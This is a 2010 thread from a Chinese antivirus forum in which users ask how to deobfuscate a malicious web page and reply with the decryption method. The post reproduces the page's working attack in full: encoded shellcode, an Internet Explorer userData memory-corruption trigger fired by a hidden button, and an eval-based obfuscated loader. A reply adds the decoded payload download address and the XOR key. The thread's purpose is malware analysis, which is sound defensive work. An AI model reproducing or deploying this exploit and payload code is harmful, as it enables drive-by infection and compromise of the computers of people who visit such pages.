瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 寻求解密过程
学习解密 - 2010-5-18 12:28:00
<script type="text/javascript" src="http://js.tongji.linezing.com/1566155/tongji.js"></script><noscript><a href="http://www.linezing.com"><img src="http://img.tongji.linezing.com/1566155/tongji.gif"/></a></noscript>
<html><body> <button id='yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp' onclick='WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe();' style='display:none'></button> <script language='javascript'> var bak, bak1, bak2, bak3, bak4; bak='%';var wud='%';var tihs='%';var jj=bak+'u'+'4B5B';var lzg='%'; bak1='u'; wud+='u'; tihs+='u';var kk=bak+'u'+'CD36';lzg+='u'; bak2='58';wud+='B'; tihs+='B';var ll=bak+'u'+'BD8F';lzg+='B'; bak3=bak+bak1+'5'; wud+='D'; tihs+='D';var mm=bak+'u'+'E9D0';lzg+='DD'; bak4=bak3+'8'+'58%'+bak1+bak2+bak2;wud+='BC'; tihs+='B';tihs+='D';var oo=bak+'u'+'FB7A';lzg+='7'; var WMAHWM='B%u4627%uA'; var LHAH=bak3+'8'+'5'+'8'+bak+bak1+bak2+bak2+'%u10EB'+jj+'%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%'+'u';var HHAH='05EB%'+'uEBE8%uFFFF%u54FF%uBEA3'+tihs+'%uD9E2%u8D1C'+tihs+'%'; var SSAH='u36BD%uB1FD'+kk+'%u10A1%'+'uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%'+'u2DBD'+'%'; var oah='u455F%u8ED5'+ll+'%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%u'; var org='u2355%uBDBF%'+'u'; oah+='BDBC%u36BD%uD755%uE4B8%'+org+'5FBD%uD544%uD3D2'+tihs+'%'; var org1='%'+'uD2D5%uBDD3%'; oah+='uC8D5%uD1CF'+mm+'%uAB42%u7D38%uAEC8'+org1+'uD5BD%uCFC8%uD0D1%u36E9'; var org2='uD355%'+'uBDBF%'; oah+='%uB1FB%u3355'+wud+'%u36BD%uD755%uE4BC%'+org2+'u5FBD%'; var org3='%'+'u8ED1%uBD8F%'+'u'; oah+='uD544'+org3+'CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2'+tihs+'%u'; var org4='5E4%'+'uBFF'; oah+='5536%uBCD7%u5'+org4+'2'+tihs+'%u445F%u513C%uBCBD'+tihs+'%'; var org5='uBDD7%'+'uA7D7%'; oah+='u6136%u7E3C%uBD3D'+tihs+'%'+org5+'uD7EE%'; var org6='uC8BD%u7A44%'+'u'; oah+='u42BD%uE1EB%u7D8E%u3DFD%uBE81%'+org6+'BEB9%uDBE1%uD893%'; var org7='C5%'+'uBDBD%u748E%'+'uEC'; oah+='uF97A%uB9BE%uD8'+org7+'EC%uEAEE%u8EEC%u367D%uE5FB%'; var org8='uBDBC%'+'u3EBD%uBD'; oah+='u9F55%'+org8+'45%u1E54'+tihs+'%u2DBD%uBDD7%uBDD7%uBED7%'; var org9='EE7D%uFB36%'+'u55'; oah+='uBDD7%uBFD7%uBDD5'+tihs+'%u'+org9+'99%uBCBC'+tihs+'%'; var org10='7DD%uEDBD%'+'uEB42%u3495%'+'uD'; oah+='uFB34%uD'+org10+'9FB%uFB36%uD7DD%uD7BD%uD7BD%'; var org11='BD%uEB42%'+'uD791%uD'; oah+='uD7BD%uD7B9%uED'+org11+'7BD%uD7BD%uD5BD%uBDA2%uBDB2%'; var org12='u36C5%'+'uD9F3%uC13D%u4'; oah+='u42ED%u81EB%uFB34%'+org12+'2B5%uC909%u3DB1%uB5C1%'; oah+='uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B'+tihs+'%u7ABD%uCDFB'+tihs+'%u'; oah+='BDBD'+oo+'%uBDC9'+tihs+'%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%'; oah+='u42ED%u85EB%u3B36%uBD3D'+tihs+'%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u4'; oah+='2DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uB'; oah+='FBD'+tihs+'%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364'; oah+='E%u3671%'+'u3E64%'+'uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAE'; oah+='D%uEDED%uEB42%u36B5%uE9C3%uAD55'+wud+'%u55BD%uBDD8'+tihs+'%uD'; oah+='ED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955'+tihs+'%u3'; oah+='4BD%u81FB%u1CD9%uBDB9'+tihs+'%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%'; oah+='uADFB%uB555'+tihs+'%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%'; oah+='u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B5'; oah+='5'+tihs+'%u7EBD%u1D55'+tihs+'%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E'+tihs+'%u5'; oah+='13C%uBCBD'+tihs+'%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%'; oah+='uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A8'; oah+='4%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uF'; oah+='A7A%u259D%uADB7%uD945%u8D1C'+tihs+'%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD'; oah+='74A%uE4B9%uE955'+tihs+'%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36'; oah+='E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88'+tihs+'%u445F%u428E%u42EA%uB9EB%uBF56%u7E'; oah+='E5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7'; oah+='E%u6136%uD7EE%uD5FD%uADBD'+tihs+'%u36EA%u9DFB%uA555%u4242%uE542%uEC7'; oah+='E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB26'; oah+='6%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE33'; oah+='6%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u'; oah+='673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA37'; oah+='6%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u18'; oah+='4D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%u'; </script> <script language='javascript'> var LXwoec8 = eval;wDyRlRg7="253221733C323B3C6E741217116476266017676676266261657478041E121B041E78746B161674685E5925322173121D1B161A6E3C323B3C78747626376637317626306A306A76266B64303776266A616A6176263766376576266B316B3276266A60306A76266B366B3676266B356B35762637616A6076263732303576266B306B6476266A616B35762637666A6076263137313776263137313774685E59253221730A0024032601243B051D2912121F1A012B2B3F1A09251D1E151A27232315111016303F3105341C04120A183930381B1929221C023F272424351D221C100017023F2A3D6E263D3620303223367B1F1B121B781B1B121B780000121B783C323B78121D1B161A7A685E5924351E04113D20153126203F2021012B3D020A361D071C2B291F3E1D22373F291B07063E061E1D1C0222122527312219101221310917393E3615346E3D362473122121322A7B7A685E59253221731D1F1A1A1C32041604226E632B6B656363637E7B0A0024032601243B051D2912121F1A012B2B3F1A09251D1E151A27232315111016303F3105341C04120A183930381B1929221C023F272424351D221C100017023F2A3D7D3F363D34273B79617A685E592532217337201E38373023213121261A1A30143F2322003D24061924061E0A071800256E263D3620303223367B74762663306330762663306330747A685E59243B3A3F367B37201E38373023213121261A1A30143F2322003D24061924061E0A071800257D3F363D34273B6F1D1F1A1A1C32041604227C617A285E595A37201E38373023213121261A1A30143F2322003D24061924061E0A07180025786E37201E38373023213121261A1A30143F2322003D24061924061E0A07180025685E595A5E592E253221732B1D1D263E1B26033C3830223F22203C36301C3B301506121F3916090237251B243535111621071E3B3A24321D1B271122171F0A29213A6E37201E38373023213121261A1A30143F2322003D24061924061E0A071800257D2026312027213A3D347B637F1D1F1A1A1C32041604227C617A685E5937363F3627367337201E38373023213121261A1A30143F2322003D24061924061E0A07180025685E595E5973353C217B2702383D06310026231B03313C30150B6E6368732702383D06310026231B03313C30150B6F61646368732702383D06310026231B03313C30150B78787A73285E59737324351E04113D20153126203F2021012B3D020A361D071C2B291F3E1D22373F291B07063E061E1D1C0222122527312219101221310917393E361534082702383D06310026231B03313C30150B0E736E732B1D1D263E1B26033C3830223F22203C36301C3B301506121F3916090237251B243535111621071E3B3A24321D1B271122171F0A29213A7378732B1D1D263E1B26033C3830223F22203C36301C3B301506121F3916090237251B243535111621071E3B3A24321D1B271122171F0A29213A7378730A0024032601243B051D2912121F1A012B2B3F1A09251D1E151A27232315111016303F3105341C04120A183930381B1929221C023F272424351D221C100017023F2A3D685E59732E685E593F251618292B14606E711D321D71681C32181F1F3216636E711D321D7168062A0425656E711D321D7168171F34026B6E711D321D716807262331290A606E711D321D716831291529636E711D321D71680A040605013E666E711D321D71683E063B15616E711D321D71682B1238190421606E711D321D71682B293904380623606E711D321D71681B3F243B273F656E711D321D71681A373216143F676E711D321D716824172A013F0134646E711D321D716812253429626E711D321D71681F0B243C36306B6E711D321D7168";lvEKzxG3="function OaKLLaE0(){UyWv6=Math.PI;DLgQ8=parseInt;TupbzY3='length';bzFz0=DLgQ8(~((UyWv6&UyWv6)|(~UyWv6&UyWv6)&(UyWv6&~UyWv6)|(~UyWv6&~UyWv6)));YWUVRm5=DLgQ8(((bzFz0&bzFz0)|(~bzFz0&bzFz0)&(bzFz0&~bzFz0)|(~bzFz0&~bzFz0))&1);/*Encrypt By Dadong's JSXX 0.31 VIP*/mUhF2=YWUVRm5<<YWUVRm5;xAkJWr3=bzFz0;xAkJWr3=bzFz0;xzjWkUp3='';Hlwhtl6=eval(unescape('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));Avgz1=LXwoec8;for(IdaEGl4=bzFz0;IdaEGl4<lvEKzxG3[TupbzY3];IdaEGl4-=-YWUVRm5)xAkJWr3+=lvEKzxG3.charCodeAt(IdaEGl4);xAkJWr3%=unescape(bzFz0+unescape('x')+(1<<6));for(IdaEGl4=bzFz0;IdaEGl4<wDyRlRg7[TupbzY3];IdaEGl4+=mUhF2)xzjWkUp3+=Hlwhtl6(DLgQ8(bzFz0+unescape('x')+wDyRlRg7.charAt(IdaEGl4)+wDyRlRg7.charAt(IdaEGl4+DLgQ8(YWUVRm5)))^xAkJWr3);try{Avgz1(xzjWkUp3);}catch(e){try{LXwoec8(xzjWkUp3);}catch(e) {window.location='/';}}}try{LXwoec8('OaKLLaE0();')}catch(e) {alert('ere');}";var lLRgA7 = LXwoec8(LXwoec8);lLRgA7(lvEKzxG3);function WzdLiWKZevlgmLyiBITcqfDodayoljhqyoEwCJBe(){  var mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv = document.createElement('body');  mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.addBehavior('#default#userData');  document.appendChild(mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv);  try {  for (tQknUbSupHPbocFX=0; tQknUbSupHPbocFX<10; tQknUbSupHPbocFX++) {  mNkQBGGxtqlghauiaUpjbyCOjIVbnWnqDQBAuhOv.setAttribute('s',window);  }  } catch(e){ }  window.status+=''; }  document.getElementById('yEcOINWqzAvRosxxYgfclJYYclNTLbYCYFtXENkMxhsYvkGkpiwAZqiGoKePsqQqkxgBXxZQKYzdhiEfqwBXZjZwQp').onclick(); </script></body></html>


太复杂看不懂 能不能把过程发上来

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 626; .NET CLR 2.0.50727; 360SE)
学习解密 - 2010-5-18 13:22:00
不知道解密出来的地址对不对???? http://kh76t.33E
湖心小筑 - 2010-5-18 13:42:00
正确地址应该是
http://kh76t.3322.org:12/.h
十六进制加密KEY的,论坛里有工具自己去找找看这个KEY是83,也可以把下面代码直接复制到神器去执行


var LXwoec8 = eval;wDyRlRg7="253221733C323B3C6E741217116476266017676676266261657478041E121B041E78746B161674685E5925322173121D1B161A6E3C323B3C78747626376637317626306A306A76266B64303776266A616A6176263766376576266B316B3276266A60306A76266B366B3676266B356B35762637616A6076263732303576266B306B6476266A616B35762637666A6076263137313776263137313774685E59253221730A0024032601243B051D2912121F1A012B2B3F1A09251D1E151A27232315111016303F3105341C04120A183930381B1929221C023F272424351D221C100017023F2A3D6E263D3620303223367B1F1B121B781B1B121B780000121B783C323B78121D1B161A7A685E5924351E04113D20153126203F2021012B3D020A361D071C2B291F3E1D22373F291B07063E061E1D1C0222122527312219101221310917393E3615346E3D362473122121322A7B7A685E59253221731D1F1A1A1C32041604226E632B6B656363637E7B0A0024032601243B051D2912121F1A012B2B3F1A09251D1E151A27232315111016303F3105341C04120A183930381B1929221C023F272424351D221C100017023F2A3D7D3F363D34273B79617A685E592532217337201E38373023213121261A1A30143F2322003D24061924061E0A071800256E263D3620303223367B74762663306330762663306330747A685E59243B3A3F367B37201E38373023213121261A1A30143F2322003D24061924061E0A071800257D3F363D34273B6F1D1F1A1A1C32041604227C617A285E595A37201E38373023213121261A1A30143F2322003D24061924061E0A07180025786E37201E38373023213121261A1A30143F2322003D24061924061E0A07180025685E595A5E592E253221732B1D1D263E1B26033C3830223F22203C36301C3B301506121F3916090237251B243535111621071E3B3A24321D1B271122171F0A29213A6E37201E38373023213121261A1A30143F2322003D24061924061E0A071800257D2026312027213A3D347B637F1D1F1A1A1C32041604227C617A685E5937363F3627367337201E38373023213121261A1A30143F2322003D24061924061E0A07180025685E595E5973353C217B2702383D06310026231B03313C30150B6E6368732702383D06310026231B03313C30150B6F61646368732702383D06310026231B03313C30150B78787A73285E59737324351E04113D20153126203F2021012B3D020A361D071C2B291F3E1D22373F291B07063E061E1D1C0222122527312219101221310917393E361534082702383D06310026231B03313C30150B0E736E732B1D1D263E1B26033C3830223F22203C36301C3B301506121F3916090237251B243535111621071E3B3A24321D1B271122171F0A29213A7378732B1D1D263E1B26033C3830223F22203C36301C3B301506121F3916090237251B243535111621071E3B3A24321D1B271122171F0A29213A7378730A0024032601243B051D2912121F1A012B2B3F1A09251D1E151A27232315111016303F3105341C04120A183930381B1929221C023F272424351D221C100017023F2A3D685E59732E685E593F251618292B14606E711D321D71681C32181F1F3216636E711D321D7168062A0425656E711D321D7168171F34026B6E711D321D716807262331290A606E711D321D716831291529636E711D321D71680A040605013E666E711D321D71683E063B15616E711D321D71682B1238190421606E711D321D71682B293904380623606E711D321D71681B3F243B273F656E711D321D71681A373216143F676E711D321D716824172A013F0134646E711D321D716812253429626E711D321D71681F0B243C36306B6E711D321D7168";lvEKzxG3="function OaKLLaE0(){UyWv6=Math.PI;DLgQ8=parseInt;TupbzY3='length';bzFz0=DLgQ8(~((UyWv6&UyWv6)|(~UyWv6&UyWv6)&(UyWv6&~UyWv6)|(~UyWv6&~UyWv6)));YWUVRm5=DLgQ8(((bzFz0&bzFz0)|(~bzFz0&bzFz0)&(bzFz0&~bzFz0)|(~bzFz0&~bzFz0))&1);/*Encrypt By Dadong's JSXX 0.31 VIP*/mUhF2=YWUVRm5<<YWUVRm5;xAkJWr3=bzFz0;xAkJWr3=bzFz0;xzjWkUp3='';Hlwhtl6=eval(unescape('%5'+'3%74%'+'72%69%6'+'E%67%2E%'+'66%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F'+'%64%65'));Avgz1=LXwoec8;for(IdaEGl4=bzFz0;IdaEGl4<lvEKzxG3[TupbzY3];IdaEGl4-=-YWUVRm5)xAkJWr3+=lvEKzxG3.charCodeAt(IdaEGl4);xAkJWr3%=unescape(bzFz0+unescape('x')+(1<<6));for(IdaEGl4=bzFz0;IdaEGl4<wDyRlRg7[TupbzY3];IdaEGl4+=mUhF2)xzjWkUp3+=Hlwhtl6(DLgQ8(bzFz0+unescape('x')+wDyRlRg7.charAt(IdaEGl4)+wDyRlRg7.charAt(IdaEGl4+DLgQ8(YWUVRm5)))^xAkJWr3);try{Avgz1(xzjWkUp3);}catch(e){try{LXwoec8(xzjWkUp3);}catch(e) {window.location='/';}}}try{LXwoec8('OaKLLaE0();')}catch(e) {alert('ere');}";var lLRgA7 = LXwoec8(LXwoec8);lLRgA7(lvEKzxG3);
学习解密 - 2010-5-18 14:25:00
找不到你说的那个工具 还有 这个不是 用Decrypt JSXX这个解密工具解密么????
学习解密 - 2010-5-18 14:49:00
Decrypt JSXX 解密出来了 地址和你的一样 :kaka3:  不知道刚才怎么解出那个地址来了//
安俊anjun - 2010-5-19 14:19:00
眼睛都看花了 呵呵
朱小朱 - 2010-5-19 14:37:00
MD选择JSXX解密,然后再进行auto解密就可以了
1
查看完整版本: 寻求解密过程